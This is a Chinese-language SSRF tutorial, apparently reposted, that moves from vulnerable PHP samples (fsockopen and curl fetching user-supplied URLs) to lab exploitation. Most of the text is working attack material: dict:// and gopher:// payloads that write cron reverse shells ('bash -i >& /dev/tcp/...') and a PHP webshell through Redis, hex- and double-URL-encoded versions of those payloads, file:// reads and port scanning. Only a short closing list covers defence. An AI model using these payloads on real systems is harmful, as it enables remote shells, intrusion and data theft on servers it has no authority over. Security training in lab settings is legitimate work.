手把手用实战教你SSRF漏洞从入门到精通 |
您所在的位置:网站首页 › 铠甲勇士刑天图片幽冥魔壁纸 › 手把手用实战教你SSRF漏洞从入门到精通 |
SSRF漏洞 前言:文章内容大致可分为原理详解-漏洞练习-利用协议攻击内网主机-防御方法。文章内容偏向于刚接触SSRF漏洞的师傅,是一篇对SSRF漏洞入门的手把手教学文章。文章特色在于对SSRF漏洞原理的详细分析以及一系列由简入深的SSRF漏洞练习到进阶实战和分析讲解。文章写作初衷是想借助REEBUF平台与入门安全的师傅分享自己入门期间的学习成果。最后特别感谢我的两位师傅的教导让我对于外网有了更深的理解。 SSRF漏概述SSRF(服务器端请求伪造)是种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下SSRF攻击的目标是从外网无法访问的内部系统SSRF原理由于服务端提供了从其他服务器应⽤获取数据的功能,但没有对地址和协议等做过滤和限制。使得攻击者可以利⽤存在缺陷的web应⽤作为代理,攻击其远程和本地的服务器代码审计中如何发现 看到fsockopen方法就要注意,一般都是有三个参数:host,port,link,特别注意是link能控制的情况下就要高度重视SSRF能做的事情可以对外网服务器所在的内网、本地进行端口扫描务的banner信息攻击运行在内网或者本地的应用程序对内网web应用进行指纹识别,通过访问默认文件实现攻击内外网的web应用。sql注入、struct2、redis等利用file协议读取本地文件等SSRF相关函数file_get_contents(把整个文件读入一个字符串中)fsockopencurl_exec基础练习 file_get_contents函数相关代码配置 攻击 去访问图片 注意:使用file_get_contents读取文件一定要加上协议(http://) fsockopen代码相关配置 function GetFile($host, $port, $link){//fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用//(例如: fgets() , fgetss() ,// fwrite() , fclose() 还有 feof() )。如果调用失败,将返回 FALSE 。$fp = fsockopen($host, intval($port), $errno, $errstr, 30);if (!$fp) { echo "$errstr (error number $errno) \n";} else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents = ''; while (! feof($fp)) { $contents .= fgets($fp, 1024); } fclose($fp); return $contents;}}$host = $_GET['host'];$port = $_GET['port'];$link = $_GET['link'];echo GetFile($host,$port,$link);有过滤的ssrf漏洞练习 如果有过滤的ssrf if (isset($_GET['url'])){$link = $_GET['url']; //将URL参数的值用GET传输给$link$pos = strpos($link,'www.baidu.com');if($pos === false){ echo 'no'; die();}if (strpos($link,'127.0.0.1')!==false){ echo 'no'; die();}if (strpos($link,'localhost')!==false){ echo 'no'; die();}$curlobj = curl_init(); //初始化 curl 会话curl_setopt($curlobj, CURLOPT_POST, 0); //禁止用post提交数据curl_setopt($curlobj,CURLOPT_URL,$link); //需要获取的url地址curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); //true 将curl_exec()获取的信息以字符串返回$result=curl_exec($curlobj); //执行curl的会话curl_close($curlobj); //关闭资源echo $result; //打印结果}waf方法绕过有很多,这里主要列举了几个方法来举例 SSRF实战实验 : 环境准备 win10(攻击机) =>192.168.80.x win10(SSRF) =>192.168.80.x 10.10.10.x (两张网卡) win10(不出网主机) =>10.10.10.x (web服务) 思路 win10可以访问 不出网的主机吗? => 不能访问 =>不知道有无开放web服务 SSRF主机 能否访问 不出网的主机 ? => 可以访问 例如 : hacker主机发现了 SSRF这台主机的 SSRF漏洞 , 是不是就意味着 SSRF这台主机可以 访问不出网的主机的web服务 需求 : win10能够访问不出网主机的WEB服务 实现 : 1 . 通过带有SSRF漏洞的这台主机 , 让他去访问 不出网主机的web服务 . 2 . 当带有SSRF漏洞的这台主机去访问了不出网主机的web服务后, 会自动保存图片到其根目录 3 . win10去访问这张图片 , 将内容解析出来 , 是不是就实现了这个需求 那么可以这样理解 : SSRF漏洞就是可以让我们去访问原本我们不能访问的内容 配置不出网网卡信息 查看win10(SSRF)ip信息看看有没有配置 可以发现配置成功我们再查看不出网主机ip信息 可以发现配置成功我们在使用有漏洞的主机去尝试ping这台不出网的主机 可以ping通也能访问,再使用攻击机去ping和访问 可以发现是ping不通和不能访问的 开始使用SSRF漏洞攻击,先访问有漏洞的主机 构造ssrf读取任意文件的payload 读取成功,读取的内容会在一个jpg图片里保存在有漏洞的主机上 我们直接访问这个图片 ctrl+s保存图片以txt文本保存读取 读取成功 SSRF漏洞利用协议dict协议 (字典协议,探测端口指纹信息,写入和反弹shell)file协议 (读取文件,如果遇到特殊字符使用filter以base64读取)http协议 (常用于file_get_contents函数)ftp协议 (扫描端口极其好用)gopher协议利用协议进阶实战用dict探测指纹信息参数后面加上dict://127.0.0.1:端口 dict://ip:port/命令:命令2:命令3每个命令用冒号隔开 例 dict://127.0.0.1:6379/set:passwd:123456dict://127.0.0.1:6379/get:passwdpayload set xx "\n* * * * * bash -i >& /dev/tcp/192.168.146.130/7777 0>&1\n"config set dir /var/spool/cron/config set dbfilename rootbgsave反弹shell的内容我们可以利用脚本编成16进制,再通过dict协议发送 使用python运行脚本 \\x0a\\x0a\\x0a\\x0a\\x2a\\x20\\x2a\\x20\\x2a\\x20\\x2a\\x20\\x2a\\x20\\x20\\x62\\x61\\x73\\x68\\x20\\x2d\\x69\\x20\\x3e\\x26\\x20\\x2f\\x64\\x65\\x76\\x2f\\x74\\x63\\x70\\x2f\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x31\\x34\\x36\\x2e\\x31\\x33\\x30\\x2f\\x37\\x37\\x37\\x37\\x20\\x30\\x3e\\x26\\x31\\x0a\\x0a\\x0a\\x0a1 dict如果是通过curl发包,那么就需要两人反斜杠,并目在 头部 和 尾部 加上"2 dict如果是通过浏览器发包,那么只需要一个反斜杠,并且在 头部 和 尾部 加上"3 第二条开始只要是有空格的地方需要加上: 进行分割4 反弹shel的命令中如果这个shel是写在/var/spool/cron这个文件夹下面那么 就要去掉反弹shell中的root,如果反弹shell的命令是写到/etc/crontab这个文件里面那么就不需要删除浏览器发包: http://ip地址/ssrf.php?url=dict://127.0.0.1:6379/命令1:命令2:命令3curl发包: curl dict://ip地址:端口/命令1:命令2:命令3加上冒号的payload config:set:dir:/var/spool/cron/config:set:dbfilename:rootbgsave在有ssrf漏洞的地方直接一句一句写入 nc监听等待反弹shell 写webshell与反弹shell原理一样修改文件payload set tom "\n\n\n\n* * * * * \n\n\n\n"config set dir /www/admin/localhost_80/wwwroot/config set dbfilename shell.phpsave进行构造 把这一串用脚本编成十六进制"\n\n\n\n* * * * * \n\n\n\n"config:set:dir:/www/admin/localhost_80/wwwroot/config:set:dbfilename:shell.phpbgsave使用file协议读取文件(和文件包含协议一样的用法)?参数=file://绝对路径 使用ftp扫描端口实战我们可以使用bp爆破去探测端口,如果这个端口开启了网页就会很久才响应说明存在,要是不存在则会很快响应,说明端口不存在 抓包放到bp爆破模块 可以加载常用的端口字典,最好是设置线程,防止太快 拿出我们的端口字典进行对比,出来快的这个端口就没有开启 使用gopher协议gopher协议 会默认用url编码gopher:编码的注意事项(一定要放到bp编码)? 需要编码空格 需要编码在每个段落结束都需要加上%0d%0a几个段得变成一行练习ssrf.php文件 GET数据包构造攻击传参可以发现内容打印到网页上尝试利用gopher攻击,bp抓包 get请求攻击只需要一个请求跟主机,我们拿去编码 编完注意要到记事本把编完码的payload放上去并且在每一行的后面加上%0d%0a,而且不能有换行要变成一行,最后也要在payload结尾加上一个%0d%0a 构造payload curl gopher://填要攻击的ip:要攻击的端口/_GET%20/ssrf.php%3fdata=gopher%20HTTP/1.1%0d%0aHost:%20192.168.1.103%0d%0a加/_的意思是gopher协议会默认删掉一个,所以加上下划线是为了删掉不受影响 使用kali用curl进行攻击,攻击成功,可以修改参数进行编码来攻击 POST数据包构造攻击传参抓包 进行编码 删掉换行变成一行 构造payload curl gopher://填要攻击的ip:要攻击的端口/_POST%20/ssrf.php%20HTTP/1.1%0d%0aHost:%20192.168.1.103%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2011%0d%0a%0d%0adata=gopher%0d%0a和get一样的原理只是多了两个参数跟一个换行 进行攻击 攻击成功 使用gopher攻击redis数据库(对方数据库是能在外网访问)首先我们要知道redis数据库是6379端口 流程 本地安装redis测试连接然后使用语法创建key跟value本地搭建redis数据库命令 二 . 直接安装redis数据库1 . yum install -y gcc2 . wget https://download.redis.io/releases/redis-6.2.6.tar.gz3 . tar -zxvf redis-6.2.6.tar.gz4 . cd redis-6.2.65 . make6 . make install PREFIX=/usr/local/redis注意启动要去这个目录下./去启动redis 数据库的语法 创建值set name tom查看值get name删除值del name使用抓取tcp包命令抓取流量包,分析出redis数据包发送的格式来构造payload tcpdump -i eth0 port 6379 -w redis.pcap先抓数据包再进行连接数据库输入语法进行分析 连接redis数据库命令 redis-cli -h 192.168.146.149 -p 6379-h 是主机ip -p 是端口我们抓的包就有流量了,使用抓包工具wisk分析抓到的流量包 随便点击一个tcp的包右键点击追踪流点击追踪tcp包拉到最后面 *3 => 表示三个元素$3 => 表示三个字符set$4 => 表示四个字符name$2 => 表示两个字符ly+OK => 成功就是OK 失败就是-1*2 =>表示两个元素$3 => 表示三个字符get$4 => 表示四个字符name构造redis恶意数据包,注意 根据上面的格式来修改需要攻击的语句并且拿到bp进行全部URL编码复制到记事本把%0a全部替换成%0d%0a并且在结尾再加一个%0d%0a 全部编码完放在构造的恶意语句下划线后面进行拼接,利用_是因为gopher协议会默认减掉一个 curl gopher://ip:6379/_发送攻击请求,我们可以在redis里使用 MONITOR命令来查看我们的发送内容 攻击成功 利用ssrf漏洞实现redis反弹shell两个位置可以反弹, 反弹shell的命令 bash -i >& /dev/tcp/攻击者ip/端口 0>&1一个是/etc下 set tom "\n\n\n\n* * * * * root bash -i >& /dev/tcp/攻击机的ip/端口 0>&1\n\n\n\n"config set dir /etc/config set dbfilename crontabsave一个是在/var/spool/cron/下 set xx "\n* * * * * bash -i >& /dev/tcp/攻击机的ip/端口 0>&1\n"config set dir /var/spool/cron/config set dbfilename rootsave注意要把这些全部url编码并且在记事本里面把%0a全部换成%0d%0a,最后再加上一个%0d%0a 再使用 curl gopher://ip:6379/_ 拼接使用kalli攻击 攻击之前一定要先开启端口监听 nc -lvp 监听的端口发送请求等待,我们构造的是计划任务,上面的是每一分钟会执行一次反弹shell 等待反弹shell的成功 使用http协议配合ssrf漏洞攻击内网redis数据库反弹shell实验环境 在真实环境中 我们找到了一个带有ssrf的网站,通过端口扫描发现一台只能本地访问的redis服务器curl gopher通过SSRF写一个反弹shell环境配置 安装小皮面板 1 . 安装小皮面板 yum install -y wget && wget -O install.sh https://notdocker.xp.cn/install.sh && sh install.sh2 . 登录小皮面板 => 开启apache服务 => 就在首页启动即可(其他不需要安装php已经自带有了) 3 . 安装redis服务 1 . yum install -y gcc2 . wget https://download.redis.io/releases/redis-6.2.6.tar.gz3 . tar -zxvf redis-6.2.6.tar.gz4 . cd redis-6.2.65 . make安装完成之后把配置文件复制到src目录下并修改配置文件 配置完启动redis ./redis-server redis.conf写一个ssrf漏洞的php文件 小皮的根目录 /www/admin/localhost_80/wwwroot/攻击流程 构造一个反弹shell的语句,URL编码加上gopher的特性把%0a变成%0d%0a最后面加上%0d%0a,构造完成之后进行二次URL编码,http特性会自动解一次码,再通过构造的gohper协议的语句进行url编码最后拼接curl hllp://目标ip/ssrf php?url=gopher://127.0.0.1:6379/_注意要对参数后面的gopher进行编码,因为http特性会自动解一次码把 : // /都编码再使用ssrf的漏洞对redis进行跳板写入反弹shell先把反弹的shell进行URL编码 set xx "\n* * * * * bash -i >& /dev/tcp/攻击者的ip/端口 0>&1\n"config set dir /var/spool/cron/config set dbfilename rootsave再把编码的东西%0a换成%0d%0a,最后再加上%0d%0a,加完之后再拿到bp进行第二次编码 对参数的gopher协议进行编码 gopher://127.0.0.1:6379/_编完码之后进行拼接 curl hllp://目标ip/ssrf php?url= curl http://目标ip/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_使用kali进行攻击 等待计划任务的反弹shell 成功 写webshell和反弹shell一样的原理我们只需要修改计划任务里的构造语句,使用http协议要进行二次编码 webshell的payload set tom "\n\n\n\n* * * * * \n\n\n\n"config set dir /www/admin/localhost_80/wwwroot/config set dbfilename shell.phpsaveSSRF的防御1.统一错误信息,避免用户可以根据错误信息来判断远程服务器端口状态2.限制请求的端口为HTTP常用的端口,比如80,443,8080.8088等3.设置一个白名单,并且如果对方读取环回口地址立马终止运行4.禁用不需要的协议,仅仅允许HTTP和HTTPS |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |